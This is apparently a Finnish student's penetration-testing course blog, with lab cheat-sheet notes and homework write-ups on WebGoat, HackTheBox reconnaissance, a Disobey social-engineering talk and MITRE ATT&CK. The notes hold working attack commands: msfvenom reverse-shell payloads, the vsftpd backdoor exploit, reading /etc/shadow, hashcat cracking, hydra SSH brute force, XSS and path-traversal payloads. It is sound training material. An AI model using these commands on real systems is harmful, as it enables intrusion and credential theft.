Tuntimuistiinpanoja labraharjoitusta varten

Dumppaan taas kaikki muistiinpanoni tänne, että voin tarpeen vaatiessa hyödyntää niitä huomenna labraharjoitusta tehdessäni.

mitmproxy -p 8088 <-- avaa mitmproxyn porttiin 8088
 set filter =~m post <-- etsii post-pyynnöt <-- hotkey f?
 m <- merkkaa
 shift + m <-- piilota kaikki muut paitsi merkatut
 e <-- edit
 r <-- resend
 shift f <-- following
 set intercept =jokujuttu <-- interceptaa liikenteen joka sisältää jonkunjutun <-- hotkey i

 systemctl restart docker

manuaalista haku kauttaviiva hakusana
 man nmap|grep -i ping| less
 man nmap|grep -C 6 -i stealth
 nmap (-vvv) 10.10.10.140 <-- -vvv verbose
 jos lukee "not shown: 998 closed ports" -> ei ilmeisesti palomuuria
 -n <- yksityisellä ip:llä ei ole julkista nimeä (nimipalvelin ei vastaa) -> voi käyttää -n -> nmap
 ei yritä selvittää nimeä
 time komennon eteen niin näkyy käytetty aika
 nmap -sV <- banner grabbing, mitä palveluita porteista löytyy
 alt + . <- kopioi viimeisen pyynnön parametrin (esim ip, helppo välttää typot)
 nmap -A <- käyttöjärjestelmästä tietoja (about all)
 nmap -sC (ajaa jotkut skriptit??)
 nmap -oA foo <- tallentaa outputit tiedostoihin, joista voi grepata helposti varsinkin .gnmap-tiedostosta
 /nmapped# grep -ir --color apache
 nmap -T3 normaali nopeus -T4 nopeampi ja aggressiivisempi, käytön kanssa pitää olla varovaisempi
 nmap -sU <- tarkistaa UDP:tä, voi sisältää esim DNS:än 
 --top-ports 10 <-- valkkaa vaan 10 yleisintä porttia ja tarkastaa ne, nopeuttaa hakua
 time nmap -sn -n 10.10.10.1-254 -p 80,443
 time nmap 10.10.10.1-254 -vvv -sS -n -Pn -sV -p 80,443 -oA allhttp
 ---- metasploit -----
 msfdb init
 msfconsole
 db_nmap -A -n -vvv 10.10.10.1-254         172.28.128.0/24
 hosts
 services --up
 -p 80,443
 eyewitnessille tiedoston koko polku
 services --up -p 80,443 -R <- laittaa hostsit tiedostoon
 eyewitness -f /url/jonka/ylempi/komento/antaa --web --prepend-https <-- kasaa raportin jossa screenshotit sivuilta
     jos tulee timeout paina enteriä, lukee hostsit siis luodusta tiedostosta

honeynet.org <-honeypot-blogi
 vagrant init
 nano Vagrantfile
 A very vulnerable target computer, package by my student Toni
 Vagrant.configure("2") do |config|
 config.vm.box = "tonijaaskelainen/ms2"
 config.vm.network "private_network", :type => 'dhcp', :adapter => 1
 end
 vagrant up
 ip route
 msfconsole
 hosts -d 10.10.10.* <- deletoi annetut hostit
 db_nmap -A -vvv 172.28.128.0/24
 service postgresql start
 systemctl start postgresql
 hosts
 services --up
 search vsft
 use exploit/unix/ftp/vsftpd_234_backdoor
 options
 set RHOSTS 172.28.128.3
 options
 run
 toivo parasta
 python -c "import pty; pty.spawn('/bin/bash')" // voi olla myös python3
 man foobar | grep hakusana
 use post/multi/manage/shell_to_meterpreter
 sessions
 exploit
 sessions
 sessions 3
 cat /etc/shadow
 
 tarkasta, onko tiedostossa jotain epäilyttävää
 file tiedosto <- kertoo tiedostomuodon
 strings tiedosto <- näyttää tiedoston sisältöä tekstimuodossa
 ghidra-ohjelma <- syötä binääri, saa deobfuskoitua c:tä
 
 youtubesta
 rsa conference 2019
 disobey 2019
 black hat (käyttäjä)


echo -n 'noora' |md5sum -> 5266727ad9bb665e790070bfb4154640
 hashcat --force --show 5266727ad9bb665e790070bfb4154640 sanalista.txt
 echo -n 'noora' |sha512sum / sha256sum / sha384sum / sha1sum
 echo -n 'peruna'|md5sum|tee -a hashes
 echo -n 'turo'|md5sum|tee -a hashes
 echo -n 'network'|md5sum|tee -a hashes
 echo -n '12345'|md5sum|tee -a hashes
 echo -n 'love'|md5sum|tee -a hashes
 echo -n 'password1'|md5sum|tee -a hashes
 hashcat hashes --force sanalista.txt --show
 cp /usr/share/wordlists/rockyou.txt.gz
 gunzip rockyou.txt.gz
 hashcat hashes --force sanalista.txt -o cracked
 hashes-tiedostossa yllättäen hashit
 sanalistassa sanat selkokielisenä
 cracked-tiedostoon tulee murretut salasanat
 
 tarkasta ipcalcilla että private internet ja hoppien määrä
 alt + . <- kopioi edellinen ip-osoite
 
 hydra
 nano users
 hydra -L users -P sanalista.txt ssh://[ip-osoite] -t 4 -I -V
             ftp://[ip-osoite/portti]
 hydra -l username -P /root/Desktop/Test.txt url.zz.za http-post-form "/portal/xlogin/:ed=^USER^&pw=^PASS^:S=302"
 hydra -l noora -P sanalista.txt ssh://127.0.0.1¨
 meterpreter hashdump kerää hashit
 
 msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o payload.elf
 msfvenom -p windows mitäikinä/x64/meterpreter/reverse_tcp -f exe -o payload.exe
 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 -f elf -o payload.elf
 msf5 > use exploit/multi/handler
 msf5 > options
 msf5 >    set LHOST 127.0.0.1
 msf5 > options

Lisää WebGoat:ia

Bypass business layer access control

Tätä tehtävää varten vaihdoin mitmproxyn Burp suiten proxyyn sen kätevämmän intercept-toiminnon takia. Asetin ensin asetukseni seuraavalla tavalla, ylempänä selaimen Foxyproxy ja alempana Burpin asetukset.

Sitten itse tehtävä. Vaihdoin siis ViewProfilen vain DeleteProfileksi, ja taso oli sillä selvä.

Bypass data level access control

Vaihdoin vain employee_id:n toiseen olemassaolevaan id:hen ja toisen työntekijän tiedot tulivat näkyviin:

DOM Injection

Tässä kohdassa en tehnyt mitään muuta kuin että otin kohdan ”disabled=””” kokonaan pois, jonka seurauksena nappula muuttui painettavaksi. En tosin ole ihan varma, oliko tämäntyyppinen lähestymistapa se mitä tässä haettiin.

XML Injection

Tässä tehtävässä lisäilin omia valintakenttiä valitsemalla inspectorista edit as HTML. Ensimmäisten tuotteiden input-nimet olivat 1001, 1002 ja 1003, joten oletin, että kalliimmat tuotteet olisivat 1004 ja 1005.

DOM-Based cross-site scripting

Taso yksi: syötin kenttään <IMG SRC=”images/logos/owasp.jpg”/>

Taso kaksi: syötin kenttään <img src=x onerror=;;alert(’XSS’) />

Taso kolme: syötin kenttään 

Taso neljä: syötin kenttään ”Please enter your password:<BR><input type = ”password” name=”pass”/><button onClick=”javascript:alert(’I have your password: ’ + pass.value);”>Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> <BR><BR><BR><BR><BR><BR><BR><BR>”

JSON Injection

Tämäkin hoitui kätevästi kalliimman lennon hintakohtaa muokkaamalla ennen lomakkeen lähetystä.

Disobey-video ja HackTheBox-yritys

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h5.
a) Konfferenssi kotona. Katso jokin esitys pentest-aiheisesta konfferenssista ja kommentoi sen parhaita paloja. Esim. Disobey, RSA, BlackHat…
b) Metasploitable. Korkkaa jokin uusi palvelu Metasploitablesta (jokin muu kuin vsftpd). Voit käyttää Metasploitable 2 tai 3.
c) HackTheBox, korkkaa jokin kone. 

a)

Tarkoituksenani on jo aiemminkin ollut katsoa videoita Disobeystä, joten lähdin hakemaan Youtubesta siellä pidettyjä esityksiä ja päädyin valitsemaan seuraavan videon:

Olen hyvin kiinnostunut psykologiasta ja olen opiskellutkin sitä sekä muutamia kursseja avoimessa yliopistossa että itsenäisesti parin vuoden aikana kun pyrin opiskelemaan sitä Helsingin Yliopistoon. Eli mikäli asiat olisivat menneet toisin, olisinkin tällä hetkellä psykologian opiskelija, enkä tietotekniikan. Tämä video siis kiinnitti heti huomioni, ja puhujan alussa toteama kommentti ”it’s really hard to run software upgrades to your brain” vakuutti minut siitä, että olin tehnyt hyvän videovalinnan.

Sivuhuomiona on mainittava, että alussa jouduin hieman harhautumaan videon katsomisesta, sillä Disobey-videoissa käytettävä introkappale oli minulle äärimmäisen tuttu, enkä saanut heti päähäni, mikä se oli. Tiesin kyllä, että kyseinen kappale löytyisi joltakin omista soittolistoistani, ja pienen etsinnän jälkeen löysinkin sen. Kyseessä on siis Porter Robinsonin Spitfire.

Seuraavana muutamia videosta keräämiäni pointteja:

- kaikilla järjestelmillä on käyttäjiä, ja käyttäjät ovat manipuloitavissa
- käyttäjillä on monesti laajempi pääsy jaettuihin levyihin kuin mitä tarvitsisi
- järjestelmät muuttuvat paljonkin, ihmiset eivät juurikaan
- ihmiset eivät ajattele kriittisesti jos heillä on kiire
- central route to persuasion, tätä suostuttelutapaa voi käyttää esimjos yrittää myydä jotain oikeaa kohdetta
- peripheral route to persuasion, tätä käytetään kun yritetään myydä jotain, mitä ei ole olemassa, kiertää asian ydintä ja vetoaa muihin tekijöihin
- voidaan hyödyntää vahvoja tunteita, esim pelko
- ihmiset tottelevat auktoriteetteja
- scarcity (esim vain 2 tuntia aikaa saada tunnukset takaisin)
- liking and similarity (ihmiset ovat vastaanottavaisempia jos huijaava taho ottaa esiin samankaltaisuuksia ja on miellyttävä)
- social debt (jos saa palveluksen, antaa palveluksen vastapuolelle herkemmin)
- commitment (jos jotain lupaa, sen myös tekee vaikka ei haluaisi)
- social proof (keinotekoisia arvosteluja "oikealta" ihmiseltä)
- ihmiset vuodattavat omaa elämäänsä sosiaaliseen mediaan, ja tämä mahdollistaa tiedonkeruun esimerkiksi yrityksiin liittyen
- ihmisen huijaamiseen liittyviä tekniikoita ovat mm. phishing, subscription scam, advance fee fraud (esim. nigerian scam)
- ihmiset haluavat vain saada työnsä tehtyä ja ärsyyntyvät siitä, että heidän pitää käyttää tietokonetta
- varoitukset annetaan geneerisellä termeillä, joita perehtymättömät eivät ymmärrä (luota vain turvallisiin sivuihin, mikä on turvallinen?)
- ihmiset eivät pysähdy ajattelemaan huijausviestejä jos heille tulee emotionaalinen reaktio niihin
- ihmiset eivät tiedä domaineista niin, että he tietäisivät esim. mikä on top level domain
- ceo fraud, jos auktoriteetti pyytää henkilökohtaista palvelusta ja sanoo esim "tiedän, että sinuun voi luottaa" työntekijä saattaa helpommin tehdä mitä käsketään
- ihmiset innostuvat jos luulevat olevansa onnekkaita
- ensimmäinen nigeriatyyppinen huijaus 1700-luvulta!
- nigeriahuijaukseen valikoituvat automaattisesti sopivat kohteet

- financial scam, pieni alkuinvestointi, rikkaudet odottavat tulevaisuudessa! rahoja ei saa oikeasti ulos, uhrit ilmeisesti enimmäkseen miehiä

- romance scam, kohdistetaan yksinäisiin ihmisiin ja saadaan heidät tekemään asioita suhteen ja rakkauden toivossa, traaginen tarina yleensä mukana
- uhrit uskovat huijaavaan tahoon, koska luottamussuhde on muodostunut hitaasti ja tunteet ovat pelissä eivätkä ihmiset halua uskoa että heidän rakastamansa henkilö ei olisi olemassa
- uhrit yleensä keski-ikäisiä koulutettuja naisia, jotka ovat impulsiivisempisia, luotettavia, mutta eivät erityisen kilttejä. ovat myös helpommin addiktoituvia

suojautumisneuvoja ihmisille, jotka eivät ole tekniikkaorientoituneita:
- huijauksilta voi suojautua sillä, että ei luota omiin liskoaivoihinsa, esim mitä tulee esim. kiireeseen tai onnekkuuteen
- pitää olla skeptinen

"you should see the internet as the endless wasteland of crap that is actually is"

- ihmiset eivät välttämättä ilmoita huijauksista esim IT-osastolle, jos heidät saadaan tuntemaan olonsa tyhmäksi IT-velhojen toimesta
- esim jokin yksinkertainen raportointimenetelmä, joka ei vaadi juuri mitään, voi auttaa, ja ihmisille ei aiheudu mitään negatiivista seurausta

"... maybe we should, after all, train users like dogs"

Mielestäni videon tärkein pointti liittyi juuri siihen, että tavallisilla ihmisillä ei välttämättä ole tarvittavia taitoja huijausten tunnistamiseen, eikä heidän voi olettaa perehtyvän kyberturvallisuuteen, mikäli se ei heitä kiinnosta. IT-piireissä vallitsee monesti ilmapiiri, jossa naureskellaan ihmisille, joilla on heikot tietotekniikkataidot, ja olen toki itsekin syyllistynyt siihen myös. Mutta mikäli tavoitteena on, että normaalit käyttäjät tunnistaisivat huijauksia eivätkä menisi halpaan, kommentit kuten ”luota vain turvallisiin sivuihin” ovat aivan yhtä tyhjän kanssa.

Itse asiassa myös oma isäni on totaalisesti haksahtanut hyvin ilmeiseen huijaukseen, joka oli juuri tyyppiä ”voit ostaa iphonen yhdellä eurolla, nyt syötä korttisi tiedot tähän että voimme veloittaa euron tililtäsi”. Toki olin äärimmäisen turhautunut kun kuulin tästä, ja varmasti sain nuhtelullani isäni tuntemaan olonsa aika tyhmäksi, mutta hänen ajattelunsa oli edennyt juuri videolla kuvailluilla reiteillä. Isäni sanoi, että hän oli iloisesti yllättynyt omasta tuuristaan, ei tullut ajatelleeksi tilanteen epäilyttävyyttä ja mietti lähinnä, kenelle hän lahjoittaisi uuden iPhonensa, sillä hänellä itsellään on jo iPhone ennestään. Ja tällaisilta tilanteilta epäilemättä voitaisiin välttyä juuri skeptisen ajattelun tärkeyttä korostamalla.

Eli toisin sanoen, tietoteknisten taitojen puuttuessa kriittisen ajattelun taitojen tärkeys korostuu entisestään. Ja tietoteknisesti valveutuneiden ihmisten pitäisi ajatella erilaisia tilanteita tietotekniikkaa osaamattomien näkökulmasta, vaikka se vaikeaa onkin.

Psykologiasta kiinnostuneena olisin kyllä kaipaillut lisää videon aiheeseen liittyviä tutkimusesimerkkejä, mutta puhuja itsekin totesi ettei hän ollut psykologian ammattilainen, ja tieteellisistä tutkimuksista puhuminen olisi voinut olla yleisölle pitkästyttävämpää.

b) / c)

Lähden tässä vaiheessa vähän yhdistelemään b)- ja c) -kohtia ja yritän korkata jonkin palvelun HackTheBoxin koneesta. Aikaisemman tutkailuni perusteella arvelin, että 10.10.10.152 -ip:ssä toimiva kone olisi hyvin haavoittuva ja kävin vielä varmistamassa asian HackTheBoxin nettiliittymästä. Kyseinen kone oli käyttäjien toimesta arvioitu helpoksi, joten aion koittaa onneani sen kanssa. Annoin ensin komennon

db_nmap -sV -sC -A 10.10.10.152

, joka antoi minulle seuraavat tiedot:

En oikein tiennyt, mitä tällä tiedolla tekisin, joten päädyin katsomaan Youtubesta erään ilmeisesti eläköityneen HackTheBox-koneen murtautumiswalkthroughta. Videolla esiintyvässä koneessa on myös avoin ftp-portti, ja videon kuvaaja käyttää hyväksi anonyymiä kirjautumista, joka minunkin kohdekoneessa on enabloituna. Yritinkin kirjautua koneelle komennolla

ftp 10.10.10.152

, kuten videolla tehtiin, mutta sain viestin, että komentoa ei tunnisteta. Latasin siis ftp-paketin komennolla

apt-get install ftp

ja kokeilin tämän jälkeen kirjautumista uudestaan. Tämän jälkeen konsoliin tulostuikin

Connected to 10.10.10.152.
220 Microsoft FTP Service

Toisin kuin videolla, ftp ei kuitenkaan kysynyt minulta login-nimeä, enkä päässyt kunnolla sisään. Päädyin menemään pois msfconsolesta ja yrittämään ftp-kirjautumista uudestaan, ja tällä kertaa onnisti paremmin, vaikkakaan en tiedä, oli onnistumisella mitään tekemistä msfconsolen kanssa.

Ajatuksenani oli seuraavaksi alkaa tutkia, mitä palvelimelta löytyy, mutta tutkimusmatkalleni tulikin loppu samantien:

Toisella kerralla pääsin hieman pidemmälle, käytin tällä kertaa salasanaa root ihan vain yrityksen vuoksi. En tiedä oliko erilainen toiminta normaalin epävakauden syytä, vai oliko root-salasana oikea tunnistautuminen, kun kehotteessa sanottiin ”send identity (e-mail name) as password”.

Joka tapauksessa pääsin sisään ja aloin tutkia, mitä sisältöä koneesta löytyy:

Kävin siis katsomassa muutaman kansion sisältöä, mutta minulla ei ollut tarvittavia oikeuksia mennä oikeasti kiinnostaviin hakemistoihin. Ftproot-kansio kuulosti houkuttelevalta, mutta siellä ei vaikuttanut olevan mitään. Todennäköisesti minun tulisi tässä vaiheessa tehdä jonkinlainen priviledge escalation, mutta en ole varma miten se tapahtuisi.

Minusta tuntuu kaikista vaikeimmalta arvioida annetuista hakuvaihtoehdoista, että mitä exploittia pitäisi käyttää. Esimerkiksi vsftpd:n tapauksessa exploittaaminen oli suhteellisen suoraviivaista, sillä hakusanalla exploitteja löytyi tasan yksi ja se oli toimiva. En kuitenkaan mielestäni tiedä riittävästi, että voisin valikoida satojen hakutulosten joukosta exploitteja, sillä usein en ymmärrä exploittien kuvauksesta juuri mitään ja suurin osa exploiteista ei vaikuta liittyvän mihinkään, mitä haluaisin tehdä.

Esimerkiksi tässä olen hakenut hakusanalla Indy httpd 18.1.37.13946. Tiedän, että uudemmat hyökkäykset ovat parempia kuin vanhat, koska niiltä ei välttämättä ole vielä keritty suojautua. Rankista voi myös päätellä, kuinka varma hyökkäys yleensä on, eli toimiiko se, ja kuinka todennäköisesti se kaataa kohdekoneen. Missään hakutuloksessa ei kuitenkaan mainita mitään käyttämästäni hakutermistä, joten en tiedä, pitääkö tästä vetää se johtopäätös ettei kyseiseen palveluun ole olemassa exploittia, vai voivatko listatut exploitit toimia myös hakemassani palvelussa vaikkei sen nimeä mainitakaan erikseen.

Haeskelin exploitteja erilaisilla hakusanoilla niin että pyrin kuitenkin keskittymään helppoon 10.10.10.152-koneeseen. Ainoa palvelu, josta löysin hieman vähemmän hakutuloksia oli portissa 135 pyörivä msrpc.

Syötin asetuksiin siis ensin oikean host ip:n ja porttinumeron ja kokeilin exploittia. Mitään ei tapahtunut, ja ajattelin että ehkä minun pitäisi jotenkin ilmaista, että kohdekone on Windows NT, minkä FTP-palvelin minulle huomaavaisesti ilmoitti kirjautumiseni yhteydessä. Saman ip:n toisessa palvelussa puhuttiin kuitenkin Windows Server 2008:sasta, joten en tiedä, mihin tässä luottaisi.

Todennäköisesti HNAME ei kuitenkaan ollut oikea eikä Exploit target -kohdassa kohdekoneen nimi muuttunut mihinkään. Itse exploit ei myöskään edelleenkään toiminut, joten aion olettaa että ehkä exploittia ei ole tarkoitettu sille järjestelmälle, johon sitä yritän käyttää tai olen muuten käsittänyt jotakin väärin.

Aion jättää yrittämisen tältä illalta tähän. Pääsin kuitenkin kirjautumaan sisälle kohdekoneen ftp-palveluun, joka oli huomattavasti parempi suoritus, kuin mihin oletin pystyväni. Seuraavien askelten yrittämiseen tarvitsisin enemmän aikaa enkä välttämättä pitkällistenkään ponnistelujen jälkeen pääsisi puusta pitkään, joten taidankin vain suosiolla mennä nukkumaan. En koe tarpeelliseksi laittaa tätä päivitystä salasanan taakse, koska jäin niin kauas mistään varsinaisesta ratkaisusta että mielestäni kukaan kiinnostunut tuskin spoilaantuu millään tavalla vaikka tämän päivityksen lukisikin.

HackTheBox-verkon tiedustelu

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h4.
a) Hedelmiä matalalla. Mitkä vaikuttavat HackTheBoxin helpoimmilta kohteilta? Tiedustele HackTheBox-verkko esimerkiksi porttiskannerilla ja ryömijällä. Noudata Rules-kohdassa annettua scopea.
b) Bonus: murtaudu jollekin HackTheBoxin maalikoneelle. Voit katsoa weppiliittymästä vinkkiä siitä, mitkä koneet ovat helppoja.
Kun raportoit HackTheBoxin ratkaisuja, laita raportit yhteisen salasanan taakse, ettemme pilaa kilpailua. Muut jutut voi julkaista normaalisti, kunhan viittaat lähteisiin. 

a)

HackTheBox -sivuston tarkoitus on tarjota tunkeutumistestauksesta kiinnostuneille henkilöille mahdollisuus kartoittaa ja vahvistaa omia murtautumistaitojaan. HackTheBox tarjoaa harjoitteluun verkon, joka sisältää viikoittain vaihtuvia haavoittuvia koneita.

HackTheBoxiin rekisteröitymiseen tarvitaan koodi, jonka saa selville vain hakkeroimalla. Rekisteröitymisen jälkeen sivustolta ladataan yhteyspaketti, jonka avulla voidaan OpenVPN:llä muodostaa yhteys HackTheBoxin verkkoon.

Yhteyden muodostettuani loin itselleni uuden hakemiston, jonka sisällä annoin komennon

msfdb init

, joka luo tietokannan Metasploitablea varten, johon kohdeverkon skannauksesta saadut tiedot tallentuvat. Tämän jälkeen otin käyttöön Metasploitin konsolin komennolla

msfconsole

ja aloitin HackTheBox-verkon skannaamisen Nmapin avulla:

db_nmap -A -n -vvv 10.10.10.1-254

Nmap käyttää komennoissaan vaikka minkälaisia lippuja, ja antamassani komennossa itse hyödynsin A:ta, n:ää ja vvv:tä. Näistä A tarkoittaa, että haluan kerätä verkosta tietoja yleisesti, eli tämä komento tutkii monia eri asioita, esimerkiksi mitä avoimia portteja löydetään, mitä palveluja niissä pyörii ja mitkä niiden versiot ovat. Ilmeisesti A on myös aggressivisempi hakuvaihtoehto muihin verrattuna. N-lippu tarkoittaa, että nimipalvelukyselyitä ei tehdä. Kohdeverkko on HackTheBoxin sisäinen verkko, joten nimipalvelukyselyistä ei tulisi mitään tuloksia, ja ne hidastaisivat kyselyä turhaan. Skannaus kestää myös sen verran kauan, että on hyödyllistä nähdä, mikä vaihe kulloinkin on menossa, ja -vvv auttaa tässä. Lopussa olen määritellyt kohdeverkon ip-osoitteet, johon skannaus suunnataan. Porttiskannaushan siis on normaaleissa olosuhteissa laitonta ja sitä ei kannata todellakaan kohdistaa mihinkään muualle kuin luvallisiin harjoitusverkkoihin, joten kannattaa olla äärimmäisen huolellinen ip-osoitetta kirjoittaessa.

Jostain syystä itselläni haku jumittui niin, että vaikka kyseisen hakuvaiheen piti Nmapin mukaan olla 99.99% tehty, haku ei enää edennyt pitkähköstä odottelusta huolimatta mihinkään. Muistaakseni minulla kävi myös koulussa vastaavalla tavalla, mutta pitkän odottelun jälkeen haku lopulta meni eteenpäin.

Tällä kertaa katkaisin haun ja yritin varmistua siitä, että haussani ei ole mitään erityistä vikaa kokeilemalla skannausta pelkästään yhdelle hostille. Tämä toimi aivan normaalisti. Kaveri antoi vinkin, että kannattaa vaihtaa -A -lippu esimerkiksi -sV:hen haun nopeuttamiseksi, joten kokeilin sitä seuraavaksi. -sV etsii avoimista porteista löytyviä palveluita ja niiden versioita, mikä onkin juuri sitä tietoa, mitä haluan.

Myös -sV -lipulla varustettu haku kesti niin kauan että uskoni meinasi loppua, mutta lopulta haku meni läpi. Epäilen, että hakujen hitaudella saattaa olla jotain tekemistä oman hitaan nettiyhteyteni kanssa.

Nyt kun skannauksen tulokset ovat tallentuneet tietokantaan, voidaan niitä tarkastella erilaisilla hakusanoilla. Esimerkiksi hosts-komento tulostaa verkossa olleet aktiiviset koneet ja mahdollisuuksien mukaan niiden käyttöjärjestelmät. Avoimissa porteissa pyörivät palvelut listaa services –up -komento, jonka tuloste minun tapauksessani näyttää tältä:

Tunneilla puhuttiin siitä, että ilmeisesti esimerkiksi hostin 10.10.10.131 portissa 21 pyörivä vsftpd olisi haavoittuva ilmeisesti vanhuutensa puolesta. Muistaakseni myös tässä 10.10.10.152 -hostilla oleva Indy httpd bandwith monitor nousi esille keskustelussa. Muutamalla koneella näyttää pyörivän myös Node.js:ään liittyviä palveluita, ja Node.js on nopean päivittymisensä takia altis uusille hyökkäyksille.

Pelkästään silmämääräisesti arvoimalla on omalla tietoudellani hieman vaikeaa sanoa, mitkä palvelut olisivat haavoittuvampia kuin toiset. Haavoittuvimpien kohteiden selvittäminen käy kuitenkin helposti Metasploitin avulla. Metasploitille voi antaa komennon search, johon voi liittää esimerkiksi jonkin yllämainittujen palvelujen nimen. Metasploit hakee tällöin kyseiseen palveluun suunnattuja exploitteja.

Tarkemmalla tarkastelulla silmääni osui koneessa 10.10.10.152 pyörivä Windows Server 2008, jonka ikänsä puolesta luulisi olevan hyvin haavoittuvainen kohde. Ja toden totta, Metasploitista löytyykin 2283 siihen löytyvää exploittia. Tunnilla kokeilimme nimenomaan vsftpd-haavoittuvuuden hyödyntämistä, ja tämä vaikutti helpolta, sillä löytyneelle vsftpd-versiolle oli olemassa tasan yksi erinoimainen exploitti, joten valinnanvaikeutta ei varsinaisesti ollut. Itselleni on kuitenkin hieman vaikeaa suodattaa sadoista vaihtoehdoista ne, jotka saattaisivat todennäköisimmin toimia kohdekonetta vastaan.

Seuraavissa tehtävissä tulee esille uudestaan Metasploit exploittien käyttö ja HackTheBox-koneeseen murtautuminen, joten jatkan kirjoitusta seuraavassa päivityksessä.

WebGoat, OWASP10 & MITRE Att&ck

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h2
a) Ratkaise jokin WebGoatin tehtävä. Hyödynsitkö jotain OWASP10 -haavoittuvuutta? Mitä niistä?
b) Mainitse esimerkki MITRE:n Att&ck tekniikasta, joka soveltuu weppiin. Osaatko antaa esimerkin hyökkäyksestä tai haittaohjelmasta, jossa sitä on käytetty? 

a)

Ensin laitoin WebGoatin pyörimään Tero Karvisen ohjeita noudattaen. Ohjeet ovat Ubuntulle, mutta Kalia käyttäessä en tarvitse komentoihin sudoa, sillä Kalia käytetään yleensä root-käyttäjänä.

Laitoin myös Mitmproxyn päälle porttiin 8088 ja ohjasin WebGoatin liikenteen sinne. Valitsin tehtäväksi ”Bypass a Path Based Access Control Scheme”, joten en kuitenkaan Mitmproxya tarvinnut, vaan selvisin pelkällä selaimella.

Tehtävän ideana on siis tarkastella jotain sellaista tiedostoa, johon minulla ei tulisi olla pääsyä. WebGoat ehdottaa, että kiinnostava tiedosto tarkasteluun olisi WEB-INF -hakemistosta löytyvä spring-security.xml.

Sivulla on valikko, johon on listattu erilaisia tiedostoja, jotka kaikki löytyvät samasta hakemistosta. WEB-INF -kansio on kuitenkin tämänhetkistä kansiotamme huomattavasti ylempänä. Lähdin muokkaamaan ylimmän valinnan value-arvoa saadakseni sivuston avaamaan tiedoston eri hakemistosta. Ensin menin muutaman kansion liikaa ylöspäin, jolloin sain WebGoatilta viestin, että olen oikeilla jäljillä. Tässä vihjeviestissä myös suoraan sanottiin WEB-INF:in löytyvän WebGoat-kansiosta. Tiesin siis, että minun pitää laittaa tiedostopolkuun ”../../../../../WEB-INF/spring-security.xml”. ”../” polussa tarkoittaa siis, että noustaan senhetkistä hakemistoa yhtä hakemistoa ylemmäksi. En-kansiossa ilmoitettavassa polussa piti siis olla viisi kertaa ”../”, että tiedot poimittaisiin WebGoat-kansiosta. Painettuani View File -nappulaa, sain WebGoatilta onnistumisesta kertovan viestin sivulle:

 * Congratulations! Access to file allowed. ==> /.extract/webapps/WebGoat/WEB-INF/spring-security.xml 

OWASP-lyhenne tulee sanoista Open Web Application Security Project, ja tämän organisaation ehkä tunnetuin projekti on OWASP10, eli raportti, jossa käydään läpi 10 web-applikaatioiden kriittisintä turvallisuusriskiä.

Viimeisin OWASP10-raportti on vuodelta 2017, ja siinä esitetty top 10 -lista on seuraavanlainen:

Mielestäni valitsemani tehtävä liittyi näistä kohdista eniten kohtaan 5: Broken Access Control, sillä vaikka guest-käyttäjällä piti olla oikeus tarkastella vain lessonPlans/en -kansion sisältöä, sain silti helposti kaivettua esiin tiedoston aivan toisesta hakemistosta.

b)

Mitre Att&ck on viitekehys, jonka tavoite on auttaa turvallisuudesta kiinnostuneita ymmärtämään esimerkiksi hakkerien käyttämiä tekniikoita. Eräs nettiin sopiva hyökkäystekniikka on spearphishing link, eli esimerkiksi jollekin tietylle taholle (yksilö, yhtiö tai toimiala) suunnattu sähköposti, jonka mukana tulee haitallinen linkki. Mikäli viestin vastaanottaja avaa kyseisen linkin, hän altistuu haitalliselle ohjelmalle, joka saattaa esimerkiksi kerätä hänen tietojaan tai käyttää kohteen käyttämää järjestelmää hyväksi. Linkkien käytöllä yritetään kiertää ne turvallisuusmenetelmät, jotka tarkastavat sähköpostien liitetiedostot haitallisen sisällön varalta.

Mitre Att&ckin sivulla on kätevästi listattu eri tahojen tekemiä hyökkäyksiä, joissa on hyödynnetty spearphishing-linkkejä. Lista on melko pitkä ja sisältää toimijoita mm. Lähi-idän alueelta, Kiinasta, ja Venäjältä. Eräs tiettävästi Pohjois-Korealainen ryhmä Stolen Pencil on hyökännyt lähinnä akateemisia instituutioita vastaan, eivätkä ryhmän motiivit ole ilmeisesti tiedossa.

Spearphishingiä Stolen Pencil käytti vuonna 2018 lähettäessään hyökkäyskohteillensa sähköposteja, jotka sisälsivät Stolen Pencilin hallinnassa olevalle sivulle johtavia linkkejä. Sivulla oli houkutteleva dokumentti, ja käyttäjää pyydettiin asentamaan haitallinen Google Chrome -laajennus. Saatuaan jalansijan kohdejärjestelmiin Stolen Pencil varmisti persistentin pääsyn järjestelmiin hyödyntämällä Remote Desktop -protokollaa. (Lähde)

Kali -livetikun tekeminen ja CTF walkthrough

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h1.
a) CTF walktrough. Katso verkosta (esim Youtubesta) jonkin capture the flag -kilpailun ratkaisu. Mitä uusia työkaluja opit? Kokeile jotain mainittua työkalua (tarvittaessa koneella, joka ei ole kiinni Internetissä).
b) Kali Live USB. Tee Kali Live USB -tikku. Kokele, että se käynnistyy. Vinkki: käytä USB3-tikkua ja dd:tä. Olet tarkkana, mitä laitat of= kohtaan, ettet kirjoita kovalevysi päälle. 

a)

Tähän tehtävään liittyvän CTF-videon katsomisen teinkin jo maanantaina, ja päädyin katsomaan saman videon kuin moni muukin ryhmästämme, sillä se on ensimmäinen hakutulos, jota Youtube tarjoaa CTF walkthrough -hakusanalla.

Videolla käytettyjä työkaluja ovat Nmap (kohdekoneen porttien ja niistä löytyvien palveluiden skannaamiseen), DirBuster (palvelimella olevien hakemistojen etsimiseen) ja malicious-wordpress-plugin (session luomiseen kohdekoneelle). Kun koneeseen oli murtauduttu, Metasploit:ia ja Meterpreteriä käyttämällä saatiin ladattua koneelta tietoja ja syötettyä koneelle käyttöoikeuksien laajentamiseen suunniteltu skripti ja ajettua se. Käyttöoikeuksien korotuksen jälkeen saatiin vaihdettua root-käyttäjän salasana. OpenSSL-ohjelmalla saatiin enkryptattua selväkielinen salasana sellaiseen muotoon, että salasana voitiin sijoittaa salasanatiedostoon, jolla korvattiin vanha vastaava tiedosto.

Videolla esiintyneistä tekniikoista tulen käyttämään ainakin Nmap:ia, Metasploit:ia ja Meterpreteriä seuraavissa harjoituksissa, joten en raportoi niiden käyttöä tässä tehtävässä.

b)

